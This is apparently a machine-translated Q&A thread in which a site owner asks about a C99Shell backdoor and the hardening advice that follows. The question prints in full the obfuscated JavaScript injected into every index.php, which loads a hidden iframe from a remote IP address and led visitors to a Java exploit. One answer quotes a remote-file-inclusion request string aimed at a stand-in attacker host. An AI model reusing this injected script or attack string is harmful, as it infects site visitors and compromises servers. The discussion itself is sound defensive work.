2010-08-04 22 views
8

Mi sitio web fue infectado por un script troyano.Proteger el sitio web de Backdoor/PHP.C99Shell alias Trojan.Script.224490

Alguien logró crear/cargar un archivo llamado "x76x09.php" o "config.php" en el directorio raíz de mi espacio web. Su tamaño es 44287 bytes y su suma de comprobación MD5 es 8dd76fc074b717fccfa30b86956992f8. I've analyzed this file using Virustotal. Estos resultados dicen que es "Backdoor/PHP.C99Shell" o "Trojan.Script.224490".

Este archivo se ha ejecutado en el mismo momento en que se creó. Entonces debe haber sucedido automáticamente. Este archivo agregó el siguiente código malicioso al final de cada index.php en mi espacio web.

</body> 
</html><body><script> 
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;} 
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;} 
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}} 
i.i.l.j();</script> 

Después de que el código estaba en mi página, los usuarios reportaron un panel azul apareciendo en Firefox. Les pidió que instalaran un complemento. Ahora algunos de ellos tienen Exploit.Java.CVE-2010-0886.a en su PC.

La infección ocurrió, aunque he allow_url_fopen y allow_url_include desactivado. Y mi hoster dice que el archivo no fue cargado a través de FTP.

Así que mis preguntas son:

  • ¿Qué hace el código malicioso? ¿Cómo está codificado?
  • ¿Cómo podría el archivo remoto ("x76x09.php" o "config.php") llegar a mi espacio web? ¿Inyección SQL? Virus en mi propia PC?
  • ¿Cómo puedo proteger mi sitio web de tales ataques en el futuro?

Muchas gracias de antemano! Realmente necesito ayuda.

This question is similar. But it's more like a report. I didn't know it's a virus from the beginning. So this question here refers to the virus itself, the other question does not.

+1

El código está en JavaScript, se ha agregado una etiqueta relevante. – Mchl

Respuesta

6

Su sitio web ha sido hackeado usando exploit code.

  1. Debe actualizar todo, incluyendo cualquier bibliotecas de php que haya instalado .

  2. Run phpsecinfo y eliminar todo rojo y amarillo tanto como sea posible modificando su .htaccess o php.ini.

  3. privilegios Quitar escritura de todos los archivos y carpetas su raíz web (chmod 500 -R /var/www && chown www-root /var/www) chown debe ser lo usuario está ejecutando php por lo hacer una figura <?php system('whoami');?> a eso.

  4. Cambie todas las contraseñas, y use sftp o ftps si puede.

  5. Retire FILE privilegios de su cuenta MySQL que utiliza su aplicación PHP .

+0

¡Muchas gracias! (1) No he instalado ninguna biblioteca php por mi cuenta. Solo mi hoster. Pero estoy seguro de que mi hoster hace su trabajo. (3) ¿Puedo asignar "544" o "444" a todos mis archivos de proyecto? Los edito a través de FTP, ¿por qué dar derechos de escritura? "500" no funciona. ¡Aparecen mensajes de error !? (4) Cambié las contraseñas. Le pregunté a mi proveedor de servicios de hospedaje si puedo usar sftp o ftps. (5) No sé cómo cambiar estos privilegios. Pero hasta ahora, mis scripts PHP usaban el usuario global de MySQL. Este es un gran error, ¿verdad? Creé otro usuario, solo para esta base de datos. – caw

+1

@ marco92w No, los últimos 2 dígitos deben ser siempre ceros. Si obtiene errores, la propiedad es incorrecta. chmod 555 funcionará por ahora, pero es una práctica terrible. Nunca desea dar acceso a todos sus usuarios a sus archivos. Sí, usar un usuario global de mysql es un error muy serio. Si todo está actualizado, creo que alguien más en el host recuadro hackeó su sitio, lo que está describiendo es terrible. – rook

+0

Gracias! (A) "whoami" me da "nadie" como respuesta !? (B) ¿Por qué no "444" para archivos y "555" para directorios? Entonces nadie tiene privilegios de escritura, ¿correcto? (C) Cambié el usuario de scripts PHP a un usuario no global. Y cambié la contraseña de MySQL y FTP. ¿Es suficiente? – caw

0

es probable que tenga un mecanismo de carga en su sitio web que no se filtra correctamente. Por ejemplo, si tiene la capacidad de utilizar una imagen de perfil, alguien podría cargar un archivo php y encontrar una forma de ejecutarlo y obtener el control de su sitio web.

x76x09.php es un explorador/cargador de directorios sin censura que permite que el cargador malicioso obtenga el control total de su sitio web.

Asegúrese de deshabilitar temporalmente todos los métodos de carga de archivos a su servidor inmediatamente y elimine todas las instancias de código malicioso en TODOS los archivos.

+1

Lo dudo mucho. – rook

+0

@The Rook: ¿Dudas mucho de qué? – Kranu

+0

@Kranu esa es una de las más de 6,000 maneras en que podría haber sucedido. Deberías leer mi respuesta. – rook

7

Muchos de los sitios web que hemos visto que han sido manipulados son el resultado de un virus en un PC que se utiliza para archivos por FTP a la página web infectada. El virus roba la contraseña de FTP de varias formas, pero principalmente dos.

En primer lugar, si utiliza un programa FTP gratuito como FileZilla, debe saber que estos programas almacenan sus credenciales de inicio de sesión guardadas en un archivo de texto sin formato. Es fácil para el virus encontrarlos, leerlos y enviar la información a un servidor que luego inicia sesión en FTP con credenciales válidas, copia ciertos archivos para sí mismo, los infecta y luego los envía al sitio web. Muchas veces también copia estos scripts de shell "backdoor" en el sitio web para que cuando cambien las contraseñas de FTP puedan volver a infectar el sitio.

El virus también "huele" el tráfico de FTP. Dado que FTP transmite todos los datos, incluido el nombre de usuario y la contraseña, en texto plano, es fácil para el virus ver y robar la información de esa manera también.

A menudo, sin embargo, cuando hemos visto una puerta trasera que causa la infección, generalmente es el resultado de la vulnerabilidad de Inclusión de archivos remotos en algún lugar del sitio. Los hackers constantemente intentan agregar una URL que apunta a una de sus puertas traseras al final de cualquier cadena de solicitud. Entonces, en sus registros de acceso puede ver algo como:

/path/folder/another/folder/file.php? http://www.hackerswebsite.com/id.txt ????

Donde la cadena de ruta/carpeta es solo para fines de demostración aquí.

A veces ese comando funciona y pueden copiar id.txt al sitio web deseado y así tener un script de shell de puerta trasera desde el que pueden manipular los archivos.

Cambiar todas las contraseñas: FTP, base de datos, cPanel u otra interfaz administrativa.

Analice todas las PC en busca de virus.

Cambie a SFTP.

Compruebe todas las carpetas para 755 permisos y todos los archivos para 644. Esto es lo que es estándar.

Si se tratara de inyección SQL, la infección no se encontraría al final del archivo. Sería en algún lugar donde hay una llamada SQL para generar el contenido.

Sí. Con las puertas traseras de hoy, el atacante puede y probablemente ya haya visto los archivos config.php donde se guardan sus datos de MySQL.

Cambiar todas las contraseñas.

+0

¡Gracias! Entonces crees que mi FileZilla fue infectado y subí el archivo remoto a mi servidor, ¿verdad? – caw

Cuestiones relacionadas